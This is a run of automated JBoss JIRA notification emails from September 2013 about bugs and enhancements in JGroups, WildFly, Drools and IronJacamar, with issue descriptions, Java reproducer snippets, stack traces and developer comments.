> * When the coordinator changes, the new coordinator always sends its first view as full view
> * MergeViews are always sent as full views
> * It should be possible to turn this behavior off, so a coordinator will always send full views, and to change this at runtime.
> * The marshalling code needs to be able to handle both full- and delta- views.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 07:14:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 16 Sep 2013 07:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1354) Compress views
In-Reply-To: <JIRA.12444903.1313572136000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12444903.1313572136000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12444903.1313572136000.27280.1379330043540@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1354?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804442#comment-12804442 ] 

Bela Ban commented on JGRP-1354:
--------------------------------

To make sure everyone is on the same page, a new coordinator (e.g. if A crashed in \{A,B,C\}, B would become the new coord) installs the next view as *full view*, and then only subsequent views as delta views.
                
> Compress views
> --------------
>
>                 Key: JGRP-1354
>                 URL: https://issues.jboss.org/browse/JGRP-1354
>             Project: JGroups
>          Issue Type: Enhancement
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> In clusters with many members, a view can be large. Currently, when a new member joins, or an existing member leaves, the coordinator sends a view to all existing members and a JoinRsp to the new joiner(s).
> The view currently contains *all members*, and the serialized VIEW message can be large.
> The goal of this JIRA is therefore to reduce the size of the VIEW message sent to all members.
> This can be done by:
> * Sending the first view of a given coordinator as full view
> * Sending subsequent views only as diffs (delta views)
> ** A delta view contains a view-id (can possibly be omitted), which is the previous view, and an array of members which left and members which joined
> * When unmarshalling a delta-view, the receiver can create the new view as a copy of the old view, minus the left members, plus the joining members
> * When the coordinator changes, the new coordinator always sends its first view as full view
> * MergeViews are always sent as full views
> * It should be possible to turn this behavior off, so a coordinator will always send full views, and to change this at runtime.
> * The marshalling code needs to be able to handle both full- and delta- views.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 07:14:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Mon, 16 Sep 2013 07:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2079) Update security realm
 <authorization /> to support multiple definitions.
In-Reply-To: <JIRA.12500754.1379329977344@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500754.1379329977344@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500754.1379329977344.27284.1379330043763@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2079:
--------------------------------------

             Summary: Update security realm <authorization /> to support multiple definitions.
                 Key: WFLY-2079
                 URL: https://issues.jboss.org/browse/WFLY-2079
             Project: WildFly
          Issue Type: Task
          Components: Domain Management, Security
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse


Complex configuration could result in different methods being used for authentication, as a result we may also need to support multiple sources for loading group membership information.


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 07:14:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Mon, 16 Sep 2013 07:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2079) Update security realm
 <authorization /> to support multiple definitions.
In-Reply-To: <JIRA.12500754.1379329977000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500754.1379329977000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500754.1379329977000.27287.1379330043931@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2079?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2079:
-----------------------------------

    Fix Version/s: 8.0.0.Beta1

    
> Update security realm <authorization /> to support multiple definitions.
> ------------------------------------------------------------------------
>
>                 Key: WFLY-2079
>                 URL: https://issues.jboss.org/browse/WFLY-2079
>             Project: WildFly
>          Issue Type: Task
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> Complex configuration could result in different methods being used for authentication, as a result we may also need to support multiple sources for loading group membership information.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 07:14:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 16 Sep 2013 07:14:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1354) Compress views
In-Reply-To: <JIRA.12444903.1313572136000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12444903.1313572136000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12444903.1313572136000.27291.1379330044131@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1354?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804443#comment-12804443 ] 

Bela Ban commented on JGRP-1354:
--------------------------------

Delta views can be turned off by setting GMS.use_delta_views to false. This can also be done at runtime:
probe.sh jmx=GMS.use_delta_views=false
                
> Compress views
> --------------
>
>                 Key: JGRP-1354
>                 URL: https://issues.jboss.org/browse/JGRP-1354
>             Project: JGroups
>          Issue Type: Enhancement
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> In clusters with many members, a view can be large. Currently, when a new member joins, or an existing member leaves, the coordinator sends a view to all existing members and a JoinRsp to the new joiner(s).
> The view currently contains *all members*, and the serialized VIEW message can be large.
> The goal of this JIRA is therefore to reduce the size of the VIEW message sent to all members.
> This can be done by:
> * Sending the first view of a given coordinator as full view
> * Sending subsequent views only as diffs (delta views)
> ** A delta view contains a view-id (can possibly be omitted), which is the previous view, and an array of members which left and members which joined
> * When unmarshalling a delta-view, the receiver can create the new view as a copy of the old view, minus the left members, plus the joining members
> * When the coordinator changes, the new coordinator always sends its first view as full view
> * MergeViews are always sent as full views
> * It should be possible to turn this behavior off, so a coordinator will always send full views, and to change this at runtime.
> * The marshalling code needs to be able to handle both full- and delta- views.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 07:31:04 2013
From: jira-events at lists.jboss.org (Jozef Hartinger (JIRA))
Date: Mon, 16 Sep 2013 07:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1960) CDI @Inject of @Stateless
 @WebService cause WELD-001408 Unsatisfied dependencies
In-Reply-To: <JIRA.12499428.1377603560000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499428.1377603560000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499428.1377603560000.27322.1379331064222@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1960?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jozef Hartinger reassigned WFLY-1960:
-------------------------------------

    Assignee: Martin Kouba  (was: Jozef Hartinger)

    
> CDI @Inject of @Stateless @WebService cause WELD-001408 Unsatisfied dependencies
> --------------------------------------------------------------------------------
>
>                 Key: WFLY-1960
>                 URL: https://issues.jboss.org/browse/WFLY-1960
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld, EJB, Web Services
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Aslak Knutsen
>            Assignee: Martin Kouba
>
> CDI @Inject of @WebService does not work. 
> {code}
> import javax.ejb.Stateless;
> import javax.jws.WebService;
>  
> @Stateless
> @WebService
> public class TestBean {
> }
>  
>  
> import javax.inject.Inject;
>  
> import org.jboss.arquillian.container.test.api.Deployment;
> import org.jboss.arquillian.junit.Arquillian;
> import org.jboss.shrinkwrap.api.ShrinkWrap;
> import org.jboss.shrinkwrap.api.asset.EmptyAsset;
> import org.jboss.shrinkwrap.api.spec.WebArchive;
> import org.junit.Test;
> import org.junit.runner.RunWith;
>  
>  
> @RunWith(Arquillian.class)
> public class TestBeanIT {
>  
>     @Inject
>     TestBean bean;
>  
>     @Deployment
>     public static WebArchive createDeployment() {
>         WebArchive arch =  ShrinkWrap.create(WebArchive.class);
>         arch.addClass(TestBean.class);
>         arch.addAsWebInfResource(EmptyAsset.INSTANCE, "beans.xml");
>         return arch;
>     }
>  
>     @Test
>     public void fooTest() throws Exception {
>  
>     }
> }
> {code}
> Using CDI to do a non contextual injection on a class where @EJB is used instead of @Inject works.
> {code}
> @RunWith(Arquillian.class)
> public class TestBeanIT {
>  
>     @EJB
>     TestBean bean;
>     ...
> }
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 07:31:04 2013
From: jira-events at lists.jboss.org (Jozef Hartinger (JIRA))
Date: Mon, 16 Sep 2013 07:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2054) CDI portable extensions with
 missing dependencies in fields fail to deploy
In-Reply-To: <JIRA.12500630.1378999400000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500630.1378999400000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500630.1378999400000.27328.1379331064478@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2054?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jozef Hartinger reassigned WFLY-2054:
-------------------------------------

    Assignee: Martin Kouba  (was: Stuart Douglas)

    
> CDI portable extensions with missing dependencies in fields fail to deploy
> --------------------------------------------------------------------------
>
>                 Key: WFLY-2054
>                 URL: https://issues.jboss.org/browse/WFLY-2054
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Ron ?meral
>            Assignee: Martin Kouba
>         Attachments: cdi-ext-missing-dependency-reproducer.jar
>
>
> The following CDI extension *fails to deploy* if Foo is not on classpath:
> {code}
> public class BrokenExtension implements Extension {
>     private Foo foo;
> }
> {code}
> However, if the missing dependency is not a field but a parent class as in the following, the extension is disregarded by the container, but the archive *deploys successfully*:
> {code}
> public class BrokenExtension extends Foo implements Extension {
> }
> {code}
> It would be more consistent if the behaviour from the second case applied in both cases.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 16 07:49:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 16 Sep 2013 07:49:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1354) Compress views
In-Reply-To: <JIRA.12444903.1313572136000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12444903.1313572136000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12444903.1313572136000.27365.1379332144001@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1354?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1354.
----------------------------

    Resolution: Done

    
> Compress views
> --------------
>
>                 Key: JGRP-1354
>                 URL: https://issues.jboss.org/browse/JGRP-1354
>             Project: JGroups
>          Issue Type: Enhancement
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> In clusters with many members, a view can be large. Currently, when a new member joins, or an existing member leaves, the coordinator sends a view to all existing members and a JoinRsp to the new joiner(s).
> The view currently contains *all members*, and the serialized VIEW message can be large.
> The goal of this JIRA is therefore to reduce the size of the VIEW message sent to all members.
> This can be done by:
> * Sending the first view of a given coordinator as full view
> * Sending subsequent views only as diffs (delta views)
> ** A delta view contains a view-id (can possibly be omitted), which is the previous view, and an array of members which left and members which joined
> * When unmarshalling a delta-view, the receiver can create the new view as a copy of the old view, minus the left members, plus the joining members
> * When the coordinator changes, the new coordinator always sends its first view as full view
> * MergeViews are always sent as full views
> * It should be possible to turn this behavior off, so a coordinator will always send full views, and to change this at runtime.
> * The marshalling code needs to be able to handle both full- and delta- views.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 07:49:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 16 Sep 2013 07:49:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1667) OutOfMemoryError - messages
	are piling up
In-Reply-To: <JIRA.12497253.1374668621000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497253.1374668621000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497253.1374668621000.27368.1379332144204@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1667?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1667:
---------------------------

    Priority: Major  (was: Critical)

    
> OutOfMemoryError - messages are piling up
> -----------------------------------------
>
>                 Key: JGRP-1667
>                 URL: https://issues.jboss.org/browse/JGRP-1667
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 2.12.3
>         Environment: Windows 7
>            Reporter: Matthew Lowe
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> One of our customers encountered OOME in their production running 5 node Infinispan cluster. Crash happened after ~month of runtime. 
> Stacktrace:
> Timer-19,_threadNameOmmitted_32726 tid=188 [RUNNABLE] [DAEMON] <--- OutOfMemoryError happened in this thread
> java.lang.OutOfMemoryError.<init>()
> org.jgroups.blocks.TCPConnectionMap$TCPConnection.send(byte[], int, int)
> org.jgroups.blocks.TCPConnectionMap$TCPConnection.access$100(TCPConnectionMap$TCPConnection, byte[], int, int)
> org.jgroups.blocks.TCPConnectionMap.send(Address, byte[], int, int)
> org.jgroups.protocols.TCP.send(Address, byte[], int, int)
> org.jgroups.protocols.BasicTCP.sendUnicast(PhysicalAddress, byte[], int, int)
> org.jgroups.protocols.TP.sendToSingleMember(Address, byte[], int, int)
> org.jgroups.protocols.TP.doSend(Buffer, Address, boolean)
> org.jgroups.protocols.TP.send(Message, Address, boolean)
> org.jgroups.protocols.TP.down(Event)
> org.jgroups.protocols.Discovery.down(Event)
> org.jgroups.protocols.TCPPING.down(Event)
> org.jgroups.protocols.MERGE2.down(Event)
> org.jgroups.protocols.FD_SOCK.down(Event)
> org.jgroups.protocols.FD.down(Event)
> org.jgroups.protocols.VERIFY_SUSPECT.down(Event)
> org.jgroups.protocols.pbcast.NAKACK.down(Event)
> org.jgroups.protocols.UNICAST.retransmit(long, Message)
> org.jgroups.stack.AckSenderWindow.retransmit(long, long, Address)
> org.jgroups.stack.DefaultRetransmitter$SeqnoTask.callRetransmissionCommand()
> org.jgroups.stack.Retransmitter$Task.run()
> org.jgroups.util.TimeScheduler2$MyTask.run()
> org.jgroups.util.TimeScheduler2$Entry.execute()
> org.jgroups.util.TimeScheduler2$1.run()
> java.lang.Thread.run()
> When I take a look into memory dump, I can see that there is ~470MB of retained heap space held by instance "org.jgroups.blocks.TCPConnectionMap$TCPConnection$Sender". Most memory is reatained by instances of "byte[]". Therefore, I'm assuming that messages are somehow piling up and eventually causing OOME, but I don't know what conditions might trigger such behavior.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 08:15:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 08:15:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-197) java.lang.Boolean cannot be
 cast to org.drools.spi.Activation when used incremental kAgent + accumulate
In-Reply-To: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496946.1374272353000.27394.1379333704813@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-197?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804451#comment-12804451 ] 

RH Bugzilla Integration commented on DROOLS-197:
------------------------------------------------

Mario Fusco <mfusco at redhat.com> made a comment on [bug 986483|https://bugzilla.redhat.com/show_bug.cgi?id=986483]

Fixed by https://github.com/droolsjbpm/drools/commit/f6b68f5cb#L1L492
                
> java.lang.Boolean cannot be cast to org.drools.spi.Activation when used incremental kAgent + accumulate
> -------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-197
>                 URL: https://issues.jboss.org/browse/DROOLS-197
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: SpiExceptionTest.java
>
>
> When used accumulate and incremental changes from the kagent (drools.agent.newInstance as false)the exception below is throwed:
> {quote}
> Exception in thread "Thread-0" java.lang.ClassCastException: 
> java.lang.Boolean cannot be cast to org.drools.spi.Activation
>      at org.drools.reteoo.RuleTerminalNode$RTNCleanupAdapter.cleanUp(RuleTerminalNode.java:492)
>      at org.drools.reteoo.BetaNode.doRemove(BetaNode.java:381)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
>      at org.drools.reteoo.RuleTerminalNode.doRemove(RuleTerminalNode.java:367)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 08:15:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 08:15:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-197) java.lang.Boolean cannot be
 cast to org.drools.spi.Activation when used incremental kAgent + accumulate
In-Reply-To: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496946.1374272353000.27399.1379333705140@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-197?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804452#comment-12804452 ] 

RH Bugzilla Integration commented on DROOLS-197:
------------------------------------------------

Mario Fusco <mfusco at redhat.com> changed the Status of [bug 986483|https://bugzilla.redhat.com/show_bug.cgi?id=986483] from ASSIGNED to MODIFIED
                
> java.lang.Boolean cannot be cast to org.drools.spi.Activation when used incremental kAgent + accumulate
> -------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-197
>                 URL: https://issues.jboss.org/browse/DROOLS-197
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: SpiExceptionTest.java
>
>
> When used accumulate and incremental changes from the kagent (drools.agent.newInstance as false)the exception below is throwed:
> {quote}
> Exception in thread "Thread-0" java.lang.ClassCastException: 
> java.lang.Boolean cannot be cast to org.drools.spi.Activation
>      at org.drools.reteoo.RuleTerminalNode$RTNCleanupAdapter.cleanUp(RuleTerminalNode.java:492)
>      at org.drools.reteoo.BetaNode.doRemove(BetaNode.java:381)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
>      at org.drools.reteoo.RuleTerminalNode.doRemove(RuleTerminalNode.java:367)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 08:47:03 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Mon, 16 Sep 2013 08:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2080) EE Concurrency TCK 7
	Compliance
In-Reply-To: <JIRA.12500761.1379335506561@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500761.1379335506561@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500761.1379335506561.27462.1379335623401@jira02.app.mwc.hst.phx2.redhat.com>

Eduardo Martins created WFLY-2080:
-------------------------------------

             Summary: EE Concurrency TCK 7 Compliance
                 Key: WFLY-2080
                 URL: https://issues.jboss.org/browse/WFLY-2080
             Project: WildFly
          Issue Type: Feature Request
          Components: EE
            Reporter: Eduardo Martins
            Assignee: Eduardo Martins


There are a few minor issues which have to be fixed to achieve TCK 7 compliance, wrt EE Concurrency (JSR 236):

- TransactionSetupProvider and ContextHandle implementations, which are plugged into the JSR 236 RI, need to support serialization.
- The "Other EE Setup Actions", which include the CachedConnectionManagerSetupAction, need to be added to the invocation context setup for proper transaction aware JCA
- Prevention of transaction (and enlisted resources) leaks, through rollback of any started transaction left open.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 08:47:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 16 Sep 2013 08:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1391) Compress MergeViews
In-Reply-To: <JIRA.12452753.1321957501000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12452753.1321957501000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12452753.1321957501000.27470.1379335623882@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1391?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804470#comment-12804470 ] 

Bela Ban commented on JGRP-1391:
--------------------------------

SizeTest.testLargeMergeView() with 100 members has a serialized size of 3467 bytes
                
> Compress MergeViews
> -------------------
>
>                 Key: JGRP-1391
>                 URL: https://issues.jboss.org/browse/JGRP-1391
>             Project: JGroups
>          Issue Type: Enhancement
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> The 'subgroups' field of MergeView is a list of Views, referring to the subclusters that formed the new view.
> Each View in that list contains (1) the creator of the view, (2) an ID and (3) a list of member addresses.
> Both (1) and (3) are present in the new MergeView, so, to save memory and message sizes, 'subgroups' could be compressed: (1) and (3) could be indices into View's 'members' field. 
> Example: if we have MergeView A|22=\{A,B,C,D,E,X,Y,Z\}, subgroups=A|21=\{A,B,C\}, D|19=\{D,E\}, X|20=\{X,Y,Z\},
> then 'subgroups' can be compressed as follows:
> subgroups=0|21=\{0,1,2\}, 3|19=\{3,4\}, 5|20=\{5,6,7\}
> This is possible because the indices never change, as the contents of Views and MergeViews are static, e.g. we can never add or remove a member: to do this, a new View/MergeView would be created.
> Substituting addresses with indices (shorts, possibly using variable-bit encoding) reduces the memory footprint of a view, and the size of a serialized view on the wire.
> Getting the subgroups field, e.g. using method getSubgroups() would synthesize the List<View> just-in-time.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 09:02:03 2013
From: jira-events at lists.jboss.org (Richard Achmatowicz (JIRA))
Date: Mon, 16 Sep 2013 09:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-125) Attribute
 passivate-events-on-replicate of cluster-passivation-store can't be change
 via drm or cli
In-Reply-To: <JIRA.12462154.1332337214000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12462154.1332337214000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12462154.1332337214000.27510.1379336523615@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-125?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804476#comment-12804476 ] 

Richard Achmatowicz commented on WFLY-125:
------------------------------------------

OK, in having a closer look at this issue on Brian's prompting, we need to confirm whether or not this is a bug. After having a second look at Paul's original code, i'm not so sure that it is.

Passivation stores for SFSBs are created using a BackingCacheEntryStoreSource service to create the stores. The stores are created upon SFSB deployment and per-SFSB type.

Currently, when you change the value of any of the PassivationStore attributes, the handler will look up the service for the BackingCacheEntryStoreSource and will update the configuration of that source with the new attribute. This change will be reflected in all subsequent creations of passivation stores (BackingCacheEntryStore) for SFSBs. This is why the attributes were flagged as RESTART_NONE and no reload is required when the attributes are changed. The change will not affect the passivation status of SFSBs deployed before the change.

So, if you are expecting this flag to change the passivation status for SFSBs which have already been deployed, it will not do so - only for deployments which occur after the change. Given that this attribute applies to the passivation store itself, this seems like the reasonable behaviour.     

Ondrej, I was looking at your test cases in ClusterPassivationTestCase:
testPassivationOverNodesPassivated
testPassivationOverNodesNotPassivated
testMoreDataPassivation

In the first two test cases, (i) the SFSBs are deployed, (ii) the attributes are changed (iii) the servers are reloaded (iv) the test is run.
In the third test case, (i) the SFSBs are deployed, (ii) the attributes are changed, (iii) the test is run.

Which test case was being used to identify this bug? This last test case changes the attributes after deployment, and so the passivation behaviour should not change, given what was mentioned previously. 











                
> Attribute passivate-events-on-replicate of cluster-passivation-store can't be change via drm or cli
> ---------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-125
>                 URL: https://issues.jboss.org/browse/WFLY-125
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>            Reporter: Ond?ej Chaloupka
>            Assignee: Richard Achmatowicz
>              Labels: eap6_need_triage
>             Fix For: 8.0.0.Beta1
>
>
> Setting attribute passivate-events-on-replicate via drm or cli does not take affect until operation :reload is used.
> In case that the attribute ( <cluster-passivation-store name="infinispan" cache-container="ejb" passivate-events-on-replicate="false" />) is set directly in standalone*.xml configuration file the supposed functionality is working.
> The test for this could be checked on:
> https://github.com/ochaloup/jboss-as/blob/JBQA-5855-test-migration-passivation-in-cluster/testsuite/integration/clust/src/test/java/org/jboss/as/test/clustering/cluster/ejb3/stateful/passivation/ClusterPassivationTestCase.java

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 16 09:04:03 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Mon, 16 Sep 2013 09:04:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-933) IronJacamarResourceCreator
 Throws ConcurrentModificationException
In-Reply-To: <JIRA.12480321.1354548224000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12480321.1354548224000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12480321.1354548224000.27520.1379336643876@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-933?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jesper Pedersen closed JBJCA-933.
---------------------------------

    Fix Version/s: 1.0.13.Final
       Resolution: Rejected


Once again, I'm closing this -- the described issue is a WFLY issue, not JBJCA.

DO NOT REOPEN THIS !
                
> IronJacamarResourceCreator Throws ConcurrentModificationException
> -----------------------------------------------------------------
>
>                 Key: JBJCA-933
>                 URL: https://issues.jboss.org/browse/JBJCA-933
>             Project: IronJacamar
>          Issue Type: Bug
>    Affects Versions: 1.0.12.Final
>            Reporter: James Olsen
>            Assignee: Jesper Pedersen
>             Fix For: 1.0.13.Final
>
>
> I am deploying three RARs in the same EAR and regularly get the exception shown below.
> 14:56:41,913 INFO  [org.jboss.as.osgi] (MSC service thread 1-1) JBAS011907: Register module: Module "deployment.EAR:main" from Service Module Loader
> 14:56:42,018 INFO  [org.jboss.as.osgi] (MSC service thread 1-8) JBAS011907: Register module: Module "deployment.EAR.XXX.rar:main" from Service Module Loader
> 14:56:42,037 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-7) JBAS010406: Registered connection factory java:/eis/XXX
> 14:56:42,045 INFO  [com.xxx.XXXResourceAdapter] (MSC service thread 1-7) #start
> 14:56:42,047 INFO  [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-7) IJ020002: Deployed: XXX
> 14:56:42,055 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-1) JBAS010401: Bound JCA ConnectionFactory [java:/eis/XXX]
> 14:56:42,057 INFO  [org.jboss.as.osgi] (MSC service thread 1-1) JBAS011907: Register module: Module "deployment.EAR.YYY.rar:main" from Service Module Loader
